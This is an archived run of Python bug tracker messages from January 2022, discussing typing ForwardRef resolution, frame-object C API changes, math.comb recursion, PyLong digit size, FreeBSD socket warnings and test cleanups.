`ForwardRef('Json')` cannot be automatically resolved (as it only a name with no context). There is really no way this could be handle inside a library such as cattr. When one wants to separate interface from implementation this issue is even more complicated. The module where the serialization function is called is typically different from the module with the type definition (This is probably more the norm than the exception) The option I expored is to explicitly create the ForwardRef and specify the module parameter (even though I have to admit that I also did read that the ForwardRef is only for internal use). Json = Union[ List[ForwardRef(Json',module=__name__)], Dict[str, ForwardRef(Json',module=__name__)], int, float, bool, None ] Ugly, but this is better than nothing. A (worse) alternative is to do Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] typing._eval_type(Json, globals(), locals()) That works since it puts the ForwardRefs into "evaluated" state (self.__forward_value__ is then set) A third, but future, alternative could be to automatically decompose the argument of ForwardRef into module and type. Then one could write Json = Union[ List[__name__+'.Json'], Dict[str, __name__+'.Json'], int, float, bool, None ] and all above problems would be solved. Then ForwardRef could stay internal and this is more readable. Even though, the static type checkers would need to understand `__name__+'TYPE'` constructs to be useful. Anyhow, it would be nice to have a solution here. [1]: https://github.com/python-attrs/cattrs/issues/201 [2]: https://devblogs.microsoft.com/python/pylance-introduces-five-new-features-that-enable-type-magic-for-python-developers/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:14:55 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 Jan 2022 16:14:55 +0000 Subject: [issue46356] [C API] Enforce usage of PyFrame_GetBack() In-Reply-To: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> Message-ID: <1642004095.32.0.193798511967.issue46356@roundup.psfhosted.org> Mark Shannon added the comment: f_lineno is not part of the API. No field in PyFrameObject is. I don't know how we can stop people from using them though. If they don't know better than pulling data out of undocumented internal struct, then I'm not sure an underscore prefix is going to help. It won't do any harm, though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:21:35 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 Jan 2022 16:21:35 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1642004495.5.0.343737931458.issue46355@roundup.psfhosted.org> Mark Shannon added the comment: Are there any C programming guides we can link to, that explain API use? I would hope that competent C programmers would know not to read or write to undocumented fields. But if they come from a Python background, that might not be obvious. If the advice for something is "use Python", we should probably add an API function. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:26:23 2022 From: report at bugs.python.org (Andreas H.) Date: Wed, 12 Jan 2022 16:26:23 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1642004783.87.0.0438639124096.issue46333@roundup.psfhosted.org> Andreas H. added the comment: Ah, let me add one point: PEP563 (-> `from __future__ import annotations`) is also not helping. Even with PEP563 enabled, the JSON example Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] needs to be written in exact the same way as without PEP563. In other words there are cases where `ForwardRef` cannot be avoided. And unforntunately these are the cases where we have the ForwardRef missing context issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:31:56 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 12 Jan 2022 16:31:56 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1642005116.69.0.432211499434.issue45729@roundup.psfhosted.org> ?ric Araujo added the comment: dev docs direct to `/license.html` which redirects to `/3/license.html` 3.9 docs have the same; wouldn?t it be better to have `/3.9/license.html`? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:32:29 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 Jan 2022 16:32:29 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1642005149.0.0.267600190736.issue46331@roundup.psfhosted.org> Change by Mark Shannon : ---------- assignee: Mark.Shannon -> keywords: -patch stage: resolved -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:33:23 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 Jan 2022 16:33:23 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1642005203.02.0.518898187376.issue46314@roundup.psfhosted.org> Mark Shannon added the comment: The news item was added in PR 30515 ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:45:39 2022 From: report at bugs.python.org (Zachary Ware) Date: Wed, 12 Jan 2022 16:45:39 +0000 Subject: [issue46351] Makefile missing '/' for some path names In-Reply-To: <1641943967.39.0.327785267688.issue46351@roundup.psfhosted.org> Message-ID: <1642005939.39.0.909504045921.issue46351@roundup.psfhosted.org> Zachary Ware added the comment: This has been fixed in 3.11 with GH-28659, but the fix hasn't been backported due to the unlikelihood of this issue actually being a problem and a procedural wrinkle in the original PR. I suspect a clean backport would be accepted, but this is still a rather low-priority issue. ---------- components: +macOS nosy: +ned.deily, ronaldoussoren, zach.ware stage: -> backport needed type: -> behavior versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 11:48:14 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 12 Jan 2022 16:48:14 +0000 Subject: [issue46348] Modernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1642006094.16.0.538375749704.issue46348@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset e2a9c8ef09cb7123d6b28852a323e6cc1f878b5b by Nikita Sobolev in branch 'main': bpo-46348: modernize `test_typing` (GH-30547) https://github.com/python/cpython/commit/e2a9c8ef09cb7123d6b28852a323e6cc1f878b5b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 12:02:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 17:02:21 +0000 Subject: [issue46356] [C API] Enforce usage of PyFrame_GetBack() In-Reply-To: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org> Message-ID: <1642006941.9.0.386237419467.issue46356@roundup.psfhosted.org> STINNER Victor added the comment: > I don't know how we can stop people from using them though. The first option is to promote helper functions to abstract access to the PyFrameObject structure. The second option is to make the whole structure opaque and enforce the usage of helper functions. Before being able to do that, we need to prepare Cython and a few more popular C extensions for that. Right now, Cython still has a lot of code accessing directly PyFrameObject members. Well, we can discuss that in bpo-40421 ;-) > If they don't know better than pulling data out of undocumented internal struct, then I'm not sure an underscore prefix is going to help. It won't do any harm, though. I propose to rename f_back to trigger a build error for existing C extensions which access it directly. So developers have to decide how to handle the change: access the renamed member, or read the doc and use a better way, call PyFrame_GetBack() :-) I dislike that this incompatible change is "silent" and that developers may only notice the change in production, when it's too late. Or maybe most C extensions have a a good test suite and will notice the change before it's too late. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 12:17:40 2022 From: report at bugs.python.org (Julien Palard) Date: Wed, 12 Jan 2022 17:17:40 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport In-Reply-To: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> Message-ID: <1642007860.55.0.361382195292.issue46318@roundup.psfhosted.org> Julien Palard added the comment: I don't know if it's related but _SSLPipe._shutdown_cb looks never called, in: self._sslobj.unwrap() self._sslobj = None self._state = _UNWRAPPED if self._shutdown_cb: self._shutdown_cb() the unwrap() call seems to always raise (The operation did not complete (read) (_ssl.c:2756)), thus never calling `self._shutdown_cb()`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 12:27:53 2022 From: report at bugs.python.org (Clint Olsen) Date: Wed, 12 Jan 2022 17:27:53 +0000 Subject: [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram In-Reply-To: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> Message-ID: <1642008473.1.0.896766195089.issue46335@roundup.psfhosted.org> Clint Olsen added the comment: Yes, I tried FastChildWatcher and I've had much better luck with that. If any exception gets thrown we _know_ for certain that the process wasn't created. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:03:15 2022 From: report at bugs.python.org (Yassir Karroum) Date: Wed, 12 Jan 2022 18:03:15 +0000 Subject: [issue27273] subprocess.run(cmd, input='text') should pass universal_newlines=True to Popen In-Reply-To: <1465430363.96.0.915441067061.issue27273@psf.upfronthosting.co.za> Message-ID: <1642010595.54.0.734471027536.issue27273@roundup.psfhosted.org> Yassir Karroum added the comment: As of 3.7, the subprocess.run has a new parameter "text". IMO it's safer to explicitly set the "text" value instead of inferring it from the "input" type. ---------- nosy: +ukarroum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:13:34 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 Jan 2022 18:13:34 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642011214.56.0.0758248963845.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28760 pull_request: https://github.com/python/cpython/pull/30559 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:30:57 2022 From: report at bugs.python.org (David CARLIER) Date: Wed, 12 Jan 2022 18:30:57 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD Message-ID: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> New submission from David CARLIER : - Solves the "Make sure new member of socket address initialized." warning for the bluetooth sockaddr_l2cap usage. ---------- components: FreeBSD messages: 410419 nosy: devnexen, koobs priority: normal pull_requests: 28761 severity: normal status: open title: socket module fix warning build on FreeBSD type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:36:56 2022 From: report at bugs.python.org (Tim Peters) Date: Wed, 12 Jan 2022 18:36:56 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642012616.1.0.209040364944.issue37295@roundup.psfhosted.org> Tim Peters added the comment: A feature of the current code is that, while the recursion tree can be very wide, it's not tall, with max depth proportional to the log of k. But it's proportional to k in the proposal (the C(n-j, k-j) term's second argument goes down by at most 20 per recursion level). So, e.g., C(1000000, 500000) dies with RecursionError in Python; in C, whatever platform-specific weird things can happen when the C stack is blown. The width of the recursion tree could be slashed in any case by "just dealing with" (say) k <= 20 directly, no matter how large n is. Do the obvious loop with k-1 multiplies, and k-1 divides by the tiny ints in range(2, k+1). Note that "almost all" the calls in your "trace for the old code" listing are due to recurring for k <= 20. Or use Stefan's method: if limited to k <= 20, it only requires a tiny precomputed table of the 8 primes <= 20, and a stack array to hold range(n, n-k, -1); that can be arranged to keep Karatsuba in play if n is large. An irony is that the primary point of the recurrence is to get Karatsuba multiplication into play, but the ints involved in computing C(240, 112) are nowhere near big enough to trigger that. To limit recursion depth, I think you have to change your approach to decide in advance the deepest you're willing to risk letting it go, and keep the current j = k // 2 whenever repeatedly subtracting 20 could exceed that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:44:49 2022 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 12 Jan 2022 18:44:49 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1642013089.85.0.941658214471.issue45569@roundup.psfhosted.org> Mark Dickinson added the comment: Adding Stefan Behnel to the nosy, since Cython is one of the few projects that might be directly affected by this change. Stefan: can you see any potential problems with changing the default to 30 here? ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 13:55:05 2022 From: report at bugs.python.org (Tim Peters) Date: Wed, 12 Jan 2022 18:55:05 +0000 Subject: [issue46020] Optimize long_pow for the common case In-Reply-To: <1639031543.32.0.0830001202943.issue46020@roundup.psfhosted.org> Message-ID: <1642013705.9.0.568606130024.issue46020@roundup.psfhosted.org> Tim Peters added the comment: New changeset fc05e6bfce5d5dfc23859e6f7862c1e707a12e42 by Tim Peters in branch 'main': bpo-46020: Optimize long_pow for the common case (GH-30555) https://github.com/python/cpython/commit/fc05e6bfce5d5dfc23859e6f7862c1e707a12e42 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 14:27:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 Jan 2022 19:27:41 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642015661.65.0.651847723022.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset e34c9367f8e0068ca4bcad9fb5c2c1024d02a77d by Christian Heimes in branch 'main': bpo-40280: Allow to compile _testcapi as builtin module (GH-30559) https://github.com/python/cpython/commit/e34c9367f8e0068ca4bcad9fb5c2c1024d02a77d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 14:38:33 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 12 Jan 2022 19:38:33 +0000 Subject: [issue46342] Make @final introspectable at runtime In-Reply-To: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> Message-ID: <1642016313.2.0.970274491802.issue46342@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 0bbf30e2b910bc9c5899134ae9d73a8df968da35 by Jelle Zijlstra in branch 'main': bpo-46342: make @typing.final introspectable (GH-30530) https://github.com/python/cpython/commit/0bbf30e2b910bc9c5899134ae9d73a8df968da35 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 14:51:45 2022 From: report at bugs.python.org (Stefan Behnel) Date: Wed, 12 Jan 2022 19:51:45 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1642017105.46.0.61220800213.issue45569@roundup.psfhosted.org> Stefan Behnel added the comment: Cython should be happy with whatever CPython uses (as long as CPython's header files agree with CPython's build ;-) ). I saw the RasPi benchmarks on the ML. That would have been my suggested trial platform as well. https://mail.python.org/archives/list/python-dev at python.org/message/5RJGI6THWCDYTTEPXMWXU7CK66RQUTD4/ The results look ok. Maybe the slowdown for pickling is really the increased data size of integers. And it's visible that some compute-heavily benchmarks like pyaes did get a little slower. I doubt that they represent a real use case on such a platform, though. Doing any kind of number crunching on a RasPi without NumPy would appear like a rather strange adventure. That said, if we decide to keep 15-bit digits in the end, I wonder if "SIZEOF_VOID_P" is the right decision point. It seems more of a "has reasonably fast 64-bit multiply or not" kind of decision ? however that translates into code. I'm sure there are 32-bit platforms that would actually benefit from 30-bit digits today. If we find a platform that would be fine with 30-bits but lacks a fast 64-bit multiply, then we could still try to add a platform specific value size check for smaller numbers. Since those are common case, branch prediction might help us more often than not. But then, I wonder how much complexity this is even worth, given that the goal is to reduce the complexity. Platform maintainers can still decide to configure the digit size externally for the time being, if it makes a difference for them. Maybe switching off 15-bits by default is just good enough for the next couple of years to come. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 14:56:33 2022 From: report at bugs.python.org (John Paul Adrian Glaubitz) Date: Wed, 12 Jan 2022 19:56:33 +0000 Subject: [issue43323] UnicodeEncodeError: surrogates not allowed when parsing invalid charset In-Reply-To: <1614277088.24.0.58040288739.issue43323@roundup.psfhosted.org> Message-ID: <1642017393.55.0.746321433278.issue43323@roundup.psfhosted.org> John Paul Adrian Glaubitz added the comment: I'm running into exactly this issue when using 'offlineimap' which is written in Python. ---------- nosy: +glaubitz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 14:57:31 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 12 Jan 2022 19:57:31 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1642017451.68.0.517680014364.issue33125@roundup.psfhosted.org> Steve Dower added the comment: PEP 514 is the way to find it on Windows (you should be able to look directly for your supported version, rather than enumerating to search). As far as I know, the best way to find it on macOS and Linux is to search PATH for "python3.X". Appreciate the size concerns. The Python runtime comes down to about 10MB with some basic tricks (already done on Windows in the embeddable distro), such as excluding the docs, test suite and zipping the standard library. It's possible with different tricks to do the same on other platforms, so you may even find the best balance for yourselves and your users is to repackage those and do a download-on-demand, rather than looking for a system installed Python. > as an installer, it should be the most forgotten part of python that usually runs for once or twice. Oh I wish this were the case! Installers should be forgotten, but they need to be 100% reliable or people *really* notice :) But updating the installer build to target ARM64 while generating an x86 executable should be possible, it just hasn't been done yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 15:00:21 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 12 Jan 2022 20:00:21 +0000 Subject: [issue27273] subprocess.run(cmd, input='text') should pass universal_newlines=True to Popen In-Reply-To: <1465430363.96.0.915441067061.issue27273@psf.upfronthosting.co.za> Message-ID: <1642017621.47.0.648614940005.issue27273@roundup.psfhosted.org> Gregory P. Smith added the comment: agreed. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 15:44:01 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 12 Jan 2022 20:44:01 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641946939.79.0.838546628186.issue46303@roundup.psfhosted.org> Message-ID: <04257646-2df1-a11a-c997-96cfab7828a6@python.org> Steve Dower added the comment: > Microsoft provides stat and struct stat, but they prepend the names with an underscore. They are also influenced by various compiler options to choose between 32-bit and 64-bit fields. This makes it impossible to use the standard names as part of an ABI, because we can't/don't enforce that the preprocessor definitions match. We should isolate all structures from libc/equivalent in our public API so that we can ensure compatibility. (FILE* was historically also an issue, but that was bad enough that Windows fixed it on their side. The rest of the C runtime library still bleeds everywhere, so we definitely don't want it or its semantics in our public API if avoidable.) ---------- title: Building Python with clang on Windows fails on _Py_stat(): struct stat is not defined -> _Py_stat and _Py_wstat using incorrect type for status argument _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 15:53:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 20:53:36 +0000 Subject: [issue46358] Modernize `test_asyncio/test_base_events.py` Message-ID: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there's a special case for python3.4 in `Lib/test/test_asyncio/test_base_events.py` file. Links: - https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_asyncio/test_base_events.py#L24 - https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_asyncio/test_base_events.py#L599 Python3.4 is long gone, I propose to remove this special case. PR is on its way :) ---------- components: Tests messages: 410430 nosy: sobolevn priority: normal severity: normal status: open title: Modernize `test_asyncio/test_base_events.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 15:55:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 20:55:39 +0000 Subject: [issue46358] Modernize `test_asyncio/test_base_events.py` In-Reply-To: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> Message-ID: <1642020939.58.0.509377862682.issue46358@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28762 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30562 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 16:11:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 21:11:00 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` Message-ID: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> New submission from Nikita Sobolev : This is a follow up to: - https://bugs.python.org/issue46348 - https://github.com/python/cpython/pull/30547 There are several other cases I've missed: 1. There's a test that is only executed under `<3.6`. I think that it should be removed: https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L4093-L4099 2. Line `if sys.version_info[:2] > (3, 2):` https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L1943 3. Line `if sys.version_info >= (3, 3):` https://github.com/python/cpython/blob/0bbf30e2b910bc9c5899134ae9d73a8df968da35/Lib/test/test_typing.py#L2069 I hope that this is it! PR is on it way :) ---------- messages: 410431 nosy: sobolevn priority: normal severity: normal status: open title: Continue to modernize `test_typing.py` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 16:11:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 21:11:29 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` In-Reply-To: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> Message-ID: <1642021889.13.0.0131016748086.issue46359@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- components: +Tests type: -> behavior versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 16:13:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 12 Jan 2022 21:13:28 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` In-Reply-To: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> Message-ID: <1642022008.81.0.232148812918.issue46359@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28763 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30563 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 16:43:47 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 21:43:47 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD In-Reply-To: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> Message-ID: <1642023827.35.0.377347113445.issue46357@roundup.psfhosted.org> STINNER Victor added the comment: > Solves the "Make sure new member of socket address initialized." warning for the bluetooth sockaddr_l2cap usage. You would to elaborate how you checked that all members of the socket address are initialized? Which socketmodule.c functions use this type? Are all members initialized? https://www.leidinger.net/FreeBSD/dox/netgraph/html/d2/de3/structsockaddr__l2cap.html A quick search points me to: https://www.leidinger.net/FreeBSD/dox/netgraph/html/d2/de3/structsockaddr__l2cap.html --- u_char l2cap_len u_char l2cap_family u_int16_t l2cap_psm bdaddr_t l2cap_bdaddr u_int16_t l2cap_cid u_int8_t l2cap_bdaddr_type --- In BTPROTO_L2CAP case of getsockaddrarg(), it seems like only l2cap_family and l2cap_bdaddr are set, other members are set to 0. Is it enough? It seems like the important call is: memset(addr, 0, sizeof(struct sockaddr_l2)); On FreeBSD, socketmodule.c uses: #define sockaddr_l2 sockaddr_l2cap ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:04:50 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 22:04:50 +0000 Subject: [issue46360] Inconsistent import behavior for (unusual) submodules Message-ID: <1642025090.39.0.843504931319.issue46360@roundup.psfhosted.org> New submission from Eric Snow : Let's look at a hypothetical module "spam" and its submodule "spam.eggs": ``` # spam.py import sys sys.modules['spam.eggs'] = None ``` Then: >>> import spam.eggs >>> import sys >>> sys.modules['spam.eggs'] is None True >>> spam.eggs Traceback (most recent call last): File "", line 1, in AttributeError: module 'spam' has no attribute 'eggs' The key inconsistent behaviors: * `import spam.eggs` succeeded even though the sys.modules entry is None * `import spam.eggs` succeeded even though "spam" isn't a package (e.g. no `__path__`, `spec.submodule_search_locations`, etc.) * the "eggs" attr wasn't bound on "spam" The relevant code is _find_and_load_unlocked() and _find_and_load() in Lib/importlib/_bootstrap.py. In _find_and_load_unlocked() we first import the parent module. Then we have a special case, where we see if "spam.eggs" was added to sys.modules as a side effect. If it was then we short-circuit the rest of import and return the submodule as-is. This leads to some of the inconsistent behavior described above, since the subsequent code (e.g. checks, binding to the parent) get skipped. In _find_and_load() we have code which raises ModuleNotFoundError if the resulting module is None, which acts as a marker that importing the module is disabled. This check is always skipped when importing the module for the first time, leading to the other inconsistent behavior from above. The is definitely a corner case, but os.path demonstrates it's a real scenario. In fact, os.path is what drew my attention to this code. Is it worth fixing? The change shouldn't be invasive so I'm leaning toward yes. It isn't a high priority though. ---------- assignee: eric.snow components: Interpreter Core messages: 410433 nosy: barry, brett.cannon, eric.snow, ncoghlan priority: normal severity: normal stage: needs patch status: open title: Inconsistent import behavior for (unusual) submodules type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:05:14 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:05:14 +0000 Subject: [issue46342] Make @final introspectable at runtime In-Reply-To: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org> Message-ID: <1642025114.07.0.938314463652.issue46342@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:06:06 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:06:06 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` In-Reply-To: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> Message-ID: <1642025166.41.0.183708348759.issue46359@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:06:34 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:06:34 +0000 Subject: [issue46358] Modernize `test_asyncio/test_base_events.py` In-Reply-To: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> Message-ID: <1642025194.75.0.271060141408.issue46358@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:07:54 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:07:54 +0000 Subject: [issue46348] Modernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1642025274.08.0.508265502933.issue46348@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:08:44 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:08:44 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642025324.56.0.214874853897.issue46345@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:09:15 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:09:15 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642025355.61.0.826249934254.issue46345@roundup.psfhosted.org> Change by Alex Waygood : ---------- components: +Tests -Library (Lib) type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:09:36 2022 From: report at bugs.python.org (David CARLIER) Date: Wed, 12 Jan 2022 22:09:36 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD In-Reply-To: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> Message-ID: <1642025376.79.0.688909936905.issue46357@roundup.psfhosted.org> David CARLIER added the comment: I took as initialized to avoid undefined behavior rather than anything. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:10:10 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:10:10 +0000 Subject: [issue46341] duplicate paragraphs - asyncio Coroutines and Tasks file Message-ID: <1642025410.37.0.872720146412.issue46341@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +asvetlov, yselivanov stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:11:13 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:11:13 +0000 Subject: [issue45331] Can create enum of ranges, cannot create range enum. Range should be subclassable... or EnumMeta.__new__ should be smarter. In-Reply-To: <1633010263.22.0.644959932757.issue45331@roundup.psfhosted.org> Message-ID: <1642025473.86.0.83580682013.issue45331@roundup.psfhosted.org> Change by Alex Waygood : ---------- components: +Documentation -Interpreter Core resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:12:21 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 12 Jan 2022 22:12:21 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers 